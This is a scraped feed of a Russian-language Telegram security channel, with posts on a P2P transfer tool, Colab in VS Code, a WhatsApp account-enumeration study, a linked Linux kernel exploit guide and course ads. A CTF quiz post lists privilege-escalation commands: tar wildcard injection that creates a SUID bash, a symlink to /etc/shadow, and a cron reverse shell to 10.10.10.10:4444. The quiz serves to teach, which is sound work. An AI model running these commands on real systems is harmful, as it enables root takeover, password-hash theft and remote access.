Как прокачиваете свои скиллы ❔
Anonymous Poll
65%
HackTheBox/TryHackMe
16%
Bug bounty программы
33%
Читаю CVE и exploit-db
15%
Реверс малвари
25%
Собственная лаба
10%
Другой вариант (напишу в комментариях)
❤6👍2
Быстрые P2P-передачи без облаков и без регистрации. AltSendme — открытый инструмент, который отправляет файлы напрямую между устройствами, шифруя всё по пути.
— Прямое P2P без хранения на серверах
— E2E-шифрование (QUIC + TLS 1.3 + BLAKE3)
— Работает в локалке и через интернет
— Любые файлы и папки, без лимитов
— Возобновление прерванных загрузок
— Очень быстро — до многогигабитных скоростей
— Нет аккаунтов, логов и трекинга
— Есть CLI и готовые билды под Win/macOS/Linux
# Отправить файл
sendme send ./video.mp4
# Получить файл по коду
sendme receive ABC-123
# Передать директорию
sendme send ./project
Чтобы передавать большие файлы быстро, приватно и без зависания на облаках. Идеально для разработчиков и тех, кто ценит безопасность.
🔹 Курс «Программирование на языке Python»
🔹 Получить консультацию менеджера
🔹 Сайт Академии 🔹 Сайт Proglib
#tool_of_the_week
Please open Telegram to view this post
VIEW IN TELEGRAM
🥰5👍3🔥2
Google выпустил расширение Colab для VS Code: теперь облачные GPU/TPU Colab работают прямо в привычном редакторе. Для ИБ это не просто удобство — это новый рабочий инструмент.
— Изолированная среда для анализа артефактов. Можно запускать подозрительные скрипты, обрабатывать дампы, PCAPы и malware-образцы в облачном runtime, не рискуя рабочей машиной.
— Ускорение ML-детекта. SOC-аналитики и исследователи могут быстро обучать/тестировать модели аномалий и UEBA на GPU без развёртывания локальной инфраструктуры.
— Быстрые PoC и совместная работа. Ноутбук в Git + Colab runtime → удобный формат для демонстрации атак, анализа данных и верификации гипотез в команде.
— Работа с тяжёлыми наборами данных. Логи, телеметрия, форензика — всё, что обычно тормозит локально, теперь можно гонять в облаке через VS Code.
1. Установить расширение Colab в VS Code.
2. Открыть .ipynb.
3. Подключиться к облачному runtime.
Дальше — обычная работа в редакторе, но с мощностью облачной инфраструктуры.
#patch_notes
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5🥰2❤1👍1
Исследователи из University of Vienna взяли обычную функцию WhatsApp — Contact Discovery — и через неё собрали данные 3.5 миллиарда аккаунтов. За несколько месяцев. Без единой блокировки.
Механизм простой: WhatsApp позволяет проверить, зарегистрирован ли номер в системе. Легитимная функция для синхронизации контактов.
Исследователи сгенерировали 63 миллиарда потенциальных номеров для 245 стран и начали массовую проверку через официальный API.
Скорость атаки:
→ 7,000 номеров в секунду
→ Более 100 миллионов в час
→ Первые 30 млн американских номеров за 30 минут
Защита? Отсутствовала. Никакого rate limiting, никаких блокировок.
Кампания шла с декабря 2024 по апрель 2025 — пока не собрали весь глобальный датасет.
Формально только то, что сами пользователи сделали публичным:
→ Телефонные номера (3.5 млрд активных)
→ Фото профиля у 57% аккаунтов
→ Публичные ключи шифрования и временные метки
→ Метаданные: возраст аккаунта, ОС, количество устройств
Геополитика: миллионы активных аккаунтов обнаружены в странах с запретом WhatsApp — Китай, Иран, КНДР, Мьянма. Власти этих стран преследуют за обход блокировок, теперь есть готовый список целей.
Региональные особенности: в Западной Африке 80% профилей были публичными — максимальная утечка метаданных. В других регионах показатели ниже, но общий объём критичен.
Потенциал для атак: база из 3.5 млрд номеров с привязкой к метаданным идеальна для таргетированного фишинга, SIM-swap и социальной инженерии. 9% датасета — WhatsApp Business аккаунты с расширенной информацией о компаниях.
Детальный отчёт Meta* получила в августе 2025. Первые меры внедрили в сентябре, полную митигацию — в октябре.
Исследователи удалили датасет после анализа и получили баунти через официальную программу. Доказательств эксплуатации реальными злоумышленниками не найдено.
*Корпорация Meta признана в РФ экстремистской
#breach_breakdown
Please open Telegram to view this post
VIEW IN TELEGRAM
🥰3🤔2😢2👍1🥱1
Внедрение эксплойта в ядро Linux.pdf
3.8 MB
📚 Пошаговый гайд по разработке эксплойтов для ядра Linux
На практическом примере CVE-2017-11176 авторы разбирают весь цикл: от анализа уязвимости до написания работающего кода. Показаны инструменты отладки, объяснены внутренние механизмы ядра и типичные ошибки при разработке.
🔴 Материал старый (2018), но подход актуален. Хорошая база для тех, кто хочет понять низкоуровневую эксплуатацию в Linux.
🔹 Курс «Программирование на языке Python»
🔹 Получить консультацию менеджера
🔹 Сайт Академии 🔹 Сайт Proglib
🐸 Библиотека хакера
#cheat_sheet
На практическом примере CVE-2017-11176 авторы разбирают весь цикл: от анализа уязвимости до написания работающего кода. Показаны инструменты отладки, объяснены внутренние механизмы ядра и типичные ошибки при разработке.
🔹 Курс «Программирование на языке Python»
🔹 Получить консультацию менеджера
🔹 Сайт Академии 🔹 Сайт Proglib
#cheat_sheet
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5👏2😁1
Сценарий: shell от www-data, sudo нет, SUID чистые.
Нашли cron:
* * * * * root cd /var/www/html && tar -czf /backups/site.tar.gz *
Права:
drwxrwxrwx 2 www-data www-data /var/www/html
-rwxr-xr-x 1 root root /opt/scripts/backup.sh
Цель: root shell через wildcard injection
🔥
echo "cp /bin/bash /tmp/r; chmod +s /tmp/r" > x.sh
chmod +x x.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=/bin/sh x.sh»
👾
ln -s /etc/shadow shadow.txt
tar -czf exploit.tar.gz shadow.txt
❤️
echo '* * * * * root bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' > /etc/cron.d/rev
🤩
chmod 777 /opt/scripts/backup.sh
echo "cp /bin/bash /tmp/r && chmod +s /tmp/r" > /opt/scripts/backup.sh
Подсказка:
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🤩4❤1🔥1🥰1👾1
🔥 На рынке сейчас математика — снова король: AI растёт быстрее, чем вузы успевают обновлять программы. Мы же перестраиваем курс под индустрию мгновенно.
Хочешь наконец разобраться в математике для DS, а не гуглить «что такое градиент» перед собесом?
Новый курс «Математика для разработки AI-моделей» — это 8 недель плотной подготовки, свежая программа и только актуальные темы, которые реально нужны в ML.
Что в курсе:
→ линал, производные, градиенты, вероятности, статистика;
→ практика на Python и 3 большие ДЗ;
→ живые вебинары + разбор ваших вопросов;
→ финальный мини-проект, который можно положить в портфолио;
→ доступ к материалам и чат с экспертами.
Для старта нужны только школьная математика и базовый Python.
🎁 Бонусы ноября:
— скидка 40% до 30 ноября;
— «Базовая математика» в подарок при оплате;
→ бесплатный тест уровня математики.
👉 Записывайся на курс
Хочешь наконец разобраться в математике для DS, а не гуглить «что такое градиент» перед собесом?
Новый курс «Математика для разработки AI-моделей» — это 8 недель плотной подготовки, свежая программа и только актуальные темы, которые реально нужны в ML.
Что в курсе:
→ линал, производные, градиенты, вероятности, статистика;
→ практика на Python и 3 большие ДЗ;
→ живые вебинары + разбор ваших вопросов;
→ финальный мини-проект, который можно положить в портфолио;
→ доступ к материалам и чат с экспертами.
Для старта нужны только школьная математика и базовый Python.
🎁 Бонусы ноября:
— скидка 40% до 30 ноября;
— «Базовая математика» в подарок при оплате;
→ бесплатный тест уровня математики.
👉 Записывайся на курс
🥰1